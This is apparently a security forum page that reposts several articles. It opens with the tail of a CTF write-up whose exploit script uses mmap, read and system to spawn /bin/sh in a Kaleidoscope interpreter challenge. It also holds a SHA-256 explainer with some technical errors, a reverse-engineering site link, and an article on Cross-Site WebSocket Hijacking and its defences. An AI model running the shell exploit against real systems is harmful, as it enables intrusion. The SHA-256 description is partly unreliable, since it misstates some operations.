arbitrary libc function calling ability, it should be quite straightforward to get a shell. The binary was protected by PIE, so we don’t know any address information initially. My solution is using mmap to get an new region like 0x100000 and use read to load the /bin/sh string into memory. Finally we can call system(0x100000) to get shell. payload = """ def mmap(x y z o p) if x < 3 then 1 else a=666 else 0=666 else b=666 else 0=666 else c=666 mmap(1048576, 4096, 7, 34, 0); """ sla(">", payload) time.sleep(0.5) payload = """ def read(x y z) if m < 3 then 1 else 0=666 def system(x) if m < 3 then 1 else 0=666 read(0, 1048576, 10); system(1048576); """ sla(">", payload) sla(">", "/bin/sh\x00") p.interactive() I spent some time to tune the if-else statements according to the number of arguments to make it accept by the interpreter, but later find it is unnecessary, any function definition with if-else statement will be regard as external function. Wrapup This is the first time I used fuzzing technique to solve a challenge during a CTF. As you can see, this is a promising skill in competition, it can save plenty of time from reverse engineering. In terms of the interpreter pwn challenges, I had came across some like Javascript, Lua (see another writeup at of XNUCA2019), and this Kaleidoscope, many of them were related to the external function calling or, foreign function interface (FFI). So this might be the thing to look at when you meet a interpreter-based pwn challenge. References https://llvm.org/docs/tutorial/BuildingAJIT1.html https://github.com/ghaiklor/llvm-kaleidoscope https://hub.docker.com/r/zjuchenyuan/honggfuzz https://github.com/google/honggfuzz/blob/master/docs/USAGE.md https://llvm.org/docs/tutorial/OCamlLangImpl1.html#the-basic-language http://blog.leanote.com/post/xp0int/%5BPWN%5D-ls-cpt.shao%E3%80%81MF Sursa: http://matshao.com/2019/11/11/Redhat2019-Kaleidoscope/
  22. Breaking Down : SHA-256 Algorithm Looking under the hood and understanding how it works? Aditya Anand Nov 27 · 7 min read Good news folks the article that I wrote on Breaking down: SHA-1 Algorithm has been published on PenTest Magazine’s blog. It is always nice to see your work being recognized and appreciated. I am keeping my articles free for everyone to read as I believe in the “knowledge should be free” motto. Well let’s not dwell into that and get started with the new article. So, few of you who might be following me for some time now must be knowing that this month I have dedicated to writing articles that are purely focused on doing intricate analysis of how the most well known hashing algorithms function and what makes one more complex than the other. Till now the articles i have written in this series are as following. Breaking Down : The series 1. Breaking Down : MD5 Algorithm 2. Breaking Down: SHA-1 Algorithm 3. Breaking Down : SHA-512 Algorithm This is the fourth part of the series where I break down, SHA-256 algorithm. Understanding SHA-256 algorithm will be extremely easy if you know the SHA-512 algorithm already, as there is mere changes in the length of bits here and there as the overall process is the same. If you want you can have a look at my article explaining SHA-512 in detail here. Let’s begin! So, let us first start this by segregating and defining what are the parts of the computation that we need to carry out one after the another. I personally prefer to break it down into five parts, for the ease of understanding. 1. Append : Padding bits First step of our hashing function begins with appending bits to our original message, so that its length will be same to the standard length required for the hash function. To do so we proceed by adding few bits to the message that we have in hand. The number of bits we add is calculated as such so that after addition of these bits the length of the message should be exactly 64 bits less than a multiple of 512. Let me depict it to you in mathematical terms for better understanding. M + P + 64 = n x 512i.e M = length of original message P = padded bits The bits that we append to the message, should begin with ‘1’ and the following bits must be ‘0’ till we are exactly 64 bits less than the multiple of 512. 2. Append : Length bits Now that we have appended our padding bits to the original message we can further go ahead append our length bits which is equivalent to 64 bits, to the overall message to make the entire thing an exact multiple of 512. We know that we need to add 64 more bits, the way to calculate these 64 bits is by calculating the modulo of the original message i.e. the one without the padding, with 2³². The message we obtain we append those length to the padded bits and we get the entire message block, which must be a multiple of 512. 3. Initialize the buffers We have our message block on which we will begin to carry out our computations to figure out the final hash. Before we begin with that I should tell you that we need certain default values to be initialized for the steps that we are going to perform. a = 0x6a09e667 b = 0xbb67ae85 c = 0x3c6ef372 d = 0xa54ff53a e = 0x510e527f f = 0x9b05688c g = 0x1f83d9ab h = 0x5be0cd19 Keep these values in the back of your mind for a while, in the next step everything will be clearly understandable to you. There are more 64 values that need to be kept in mind which will act as keys and are denoted by the word ‘k’. Courtesy - SHA-2 Wikipedia Now let’s get into the part where we utilize these values to compute the hash. 4. Compression Function So, the main part of the hashing algorithm lies in this step. The entire message block that we have ‘n x 512’ bits long is divided into ‘n’ chunks of 512 bits and each of these 512 bits, are then put through 64 rounds of operations and the output obtained is fed as input for the next round of operation. In the image above we can clearly see the 64 rounds of operation that is performed on a 512 bit message. We can observe that two inputs that we send in are W(i) & K(i), for the first 16 rounds we further break down 512 bit message into 16 parts each of 32 bit but after that we need to calculate the value for W(i) at each step. W(i) = Wⁱ⁻¹⁶ + σ⁰ + Wⁱ⁻⁷ + σ¹where, σ⁰ = (Wⁱ⁻¹⁵ ROTR⁷(x)) XOR (Wⁱ⁻¹⁵ ROTR¹⁸(x)) XOR (Wⁱ⁻¹⁵ SHR³(x)) σ¹ = (Wⁱ⁻² ROTR¹⁷(x)) XOR (Wⁱ⁻² ROTR¹⁹(x)) XOR (Wⁱ⁻² SHR¹⁰(x)) ROTRⁿ(x) = Circular right rotation of 'x' by 'n' bits SHRⁿ(x) = Circular right shift of 'x' by 'n' bits Well now that we have a well established method to create the W(i) for any given of the 64 rounds let’s dive in what happens in each of these rounds. Depiction of a single “round” In the image above we can see exactly what happens in each round and now that we have the values and formulas for each of the functions carried out we can perform the entire hashing process. Ch(E, F, G) = (E AND F) XOR ((NOT E) AND G) Ma(A, B, C) = (A AND B) XOR (A AND C) XOR (B AND C) ∑(A) = (A >>> 2) XOR (A >>> 13) XOR (A >>> 22) ∑(E) = (E >>> 6) XOR (E >>> 11) XOR (E >>> 25) + = addition modulo 2³² These are the functions that are performed in each of the 64 rounds that are performed over and over for ‘n’ number of times 5. Output The output from every round acts as an input for the next round and this process keeps on continuing till the last bits of the message remains and the result of the last round for the nᵗʰ part of the message block will give us the result i.e. the hash for the entire message. The length of the output is 256 bits. Conclusion The SHA-256 hashing algorithm is currently one of the most widely used hashing algorithm as it hasn’t been cracked yet and the hashes are calculated quickly in comparison to the other secure hashes like the SHA-512. It is very well established but the industry is trying to slowly move towards the SHA-512 which is more secure as experts claim SHA-256 might be vulnerable very soon. So, let’s have a second look at the entire functioning of the SHA-256 algorithm and allow me to explain the entire thing in a single long paragraph. We calculate the length of the message that needs to be hashed, we then append few bits to the message, starting with ‘1’ and the rest are ‘0’ till the point the message length is exactly 64 bits less than the multiple of 512. We add the remaining 64 bits by calculating the modulo of the original message with 2³². Once, we add the remaining bits the entire message block can be represented as ‘n x 512’ bits. Now, we pass each of these 512 bits into the compression function i.e. the set of 64 rounds of operations where we further divide them into 16 parts each of 32 bits.These 16 parts each of 32 bits acts as input for each round of operation for the first 16 rounds and for the rest of the 48 rounds we have method to calculate the W(i). We also have default values for the buffers and the values of ‘k’ for all the 64 rounds. We can now begin the computation of hashes as we have all the values and formulas required. The hashing process is then carried out on over and over for 64 rounds and then the output of i round works as input for the i+1 round. So the output from the 64ᵗʰ operation of the nᵗʰ round will present us with the output i.e. the hash of the entire message. So that’s the short version of the entire operation that takes place in the SHA-256 algorithm. If you enjoyed it please do clap & let’s collaborate. Get, Set, Hack! Website : aditya12anand.com | Donate : paypal.me/aditya12anand Telegram : https://t.me/aditya12anand Twitter : twitter.com/aditya12anand LinkedIn : linkedin.com/in/aditya12anand/ E-mail : aditya12anand@protonmail.com Follow Infosec Write-ups for more such awesome write-ups. InfoSec Write-ups A collection of write-ups from the best hackers in the world on topics ranging from bug bounties and CTFs to vulnhub machines, hardware challenges and real life encounters. In a nutshell, we are the largest InfoSec publication on Medium. Maintained by Hackrew Written by Aditya Anand CyberSec Professional | Hacker | Developer | Open Source Lover | Website - aditya12anand.com | Donate - paypal.me/aditya12anand Sursa: https://medium.com/bugbountywriteup/breaking-down-sha-256-algorithm-2ce61d86f7a3
  23. Reverse Engineering for Beginners Hey there! If you have been searching for a place to get started with Reverse Engineering and get your hands dirty - you are in the right place Note: the website is displayed optimally on Desktop browsers. Get Started Now! About Sursa: https://www.begin.re/
  24. Hacking WebSocket With Cross-Site WebSocket Hijacking attacks Vickie Li Nov 28 · 5 min read Photo by Thomas Kolnowski on Unsplash The Same-Origin Policy (SOP) is one of the fundamental defences deployed in modern web applications. It restricts how a script from one origin can interact with the resources of a different origin. Last time, we talked about the Same-Origin Policy and how it protects a site’s data from unauthorized access: Hacking the Same-Origin Policy How attackers bypass the fundamental Internet safeguard to read confidential data medium.com However, there are some edge cases that the SOP does not cover, and these can often be exploited by attackers to steal private information. Today, we are going to talk about one of these edge cases: WebSocket connections, and how attackers can hijack WebSocket connections to leak private data. Let’s dive in! What is WebSocket? WebSocket is, like HTTP, a communications protocol that enables interaction between a browser and a web server. The WebSocket protocol allows both servers and browsers to send messages to each other using a single TCP connection. This is very useful when trying to create real-time applications such as online games and live chat. For example, Slack’s web app uses WebSocket connections to sync messages in its chat functionality. In order for a web application to sync in real-time, web servers need to be able to actively push data to its clients. And this is where WebSocket comes in. Traditionally, HTTP only supports client-initiated communications. This means that every time the real-time application needs to be synced (for example, an online game updating its live leaderboard), the client’s browser would need to send an HTTP request to retrieve the data from the server. When an application is constantly doing this type of update, this traditional method incurs a lot of unnecessary overhead and ultimately slows down the application. Whereas the WebSocket protocol solves this problem by creating a persistent connection between the client and the server that allows both client and server-initiated data transfers. During the lifetime of a WebSocket connection, the client and the server are free to exchange any amount of data without incurring the overhead and latency of using traditional HTTP requests. How WebSocket connections are created A WebSocket connection between a client and a server is established through a WebSocket handshake. This process is initiated by the client sending a normal HTTP or HTTPS request to the server with the special header: “Upgrade: websocket”. If the server supports WebSocket connections, it will respond with a 101 status code (Switching Protocols). From that point on, the handshake is complete and both parties are free to send data to the other. Side note: WebSocket uses the ws:// URL scheme, and the wss:// URL scheme for secure connections. The problem with WebSocket As I mentioned in the Same-Origin Policy article, the SOP is a way of preventing unwanted data access from malicious domains. However, the Same-Origin Policy does not apply to WebSocket connections and modern browsers would not prevent data reads on a WebSocket connection across origins. This means that if an attacker can create a WebSocket connection using a victim’s credentials, that connection would have the same access as a legitimate connection, regardless of where the connection is coming from. Cross-Site WebSocket Hijacking (CSWSH) A Cross-Site WebSocket Hijacking attack is essentially a CSRF on a WebSocket handshake. When a user is logged into victim.com in her browser and opens attacker.com in the same browser, attacker.com can try to establish a WebSocket connection to the server of victim.com. Since the user’s browser would automatically send over her credentials with any HTTP/ HTTPS request to victim.com, the WebSocket handshake request initiated by attacker.com would contain the user’s legitimate credentials. This means the resulting the WebSocket connection (created by attacker.com) would have the same level of access as if it originated from vicitm.com. After the WebSocket connection is established, attacker.com can communicate directly to victim.com as a legitimate user. Structure of an attack To carry out the attack, an attacker would create a script that will initiate the WebSocket connection to the victim server. She can then embed that script on a malicious page and trick a user into accessing the page. When the victim accesses the malicious page, her browser will automatically include her cookies into the WebSocket handshake request (since it’s a regular HTTP request). The malicious script crafted by the attacker will now have access to a WebSocket connection created using the victim’s credentials. The impact of Cross-Site WebSocket Hijacking Using a hijacked WebSocket connection, the attacker can now achieve a lot of things: WebSocket CSRF: If the WebSocket communication is used to carry out sensitive, state-changing actions, attackers can use this connection to forge actions on behalf of the user. For example, attackers can post fake messages onto a user’s chat groups. Private data retrieval: If the WebSocket communication can be used to retrieve sensitive information via a client request, attackers can initiate fake requests to retrieve sensitive data belonging to the user. Private data leaks via server messages: Attackers can also simply listen in on server messages and passively collect information leaked from these messages. For example, an attacker can use the connection to eavesdrop on a user’s incoming notifications. How to prevent Cross-Site WebSocket Hijacking In order to prevent Cross-Site WebSocket Hijacking, an application would need to deny WebSocket handshake requests from unknown origins. There are two ways this can be achieved: Check the Origin header: browsers would automatically include an Origin header. This can be used to validate where the handshake request is coming from. When validating the Origin of the request, be sure to use a whitelist of URLs instead of a blacklist, and use a strict and rigorously tested regex expression. Use CSRF tokens for the WebSocket handshake request: applications could also use a randomized token on a WebSocket handshake request and validate it server-side before establishing a WebSocket connection. This way, if an attacker cannot leak or predict the random token, she will not be able to establish the connection. WebSocket is a big part of many modern applications. However, it is often overlooked as a potential attack vector. It is important for developers and pentesters to be aware of this common pitfall and look out for these vulnerabilities before they are exploited in the wild. As always, thanks for reading! The Startup Medium's largest active publication, followed by +532K people. Follow to join our community. Written by Vickie Li Basically a nerd. Studies web security. Stalks great hackers. Creates god awful infographics. https://twitter.com/vickieli7 Sursa: https://medium.com/swlh/hacking-websocket-25d3cba6a4b9
×
×
  • Create New...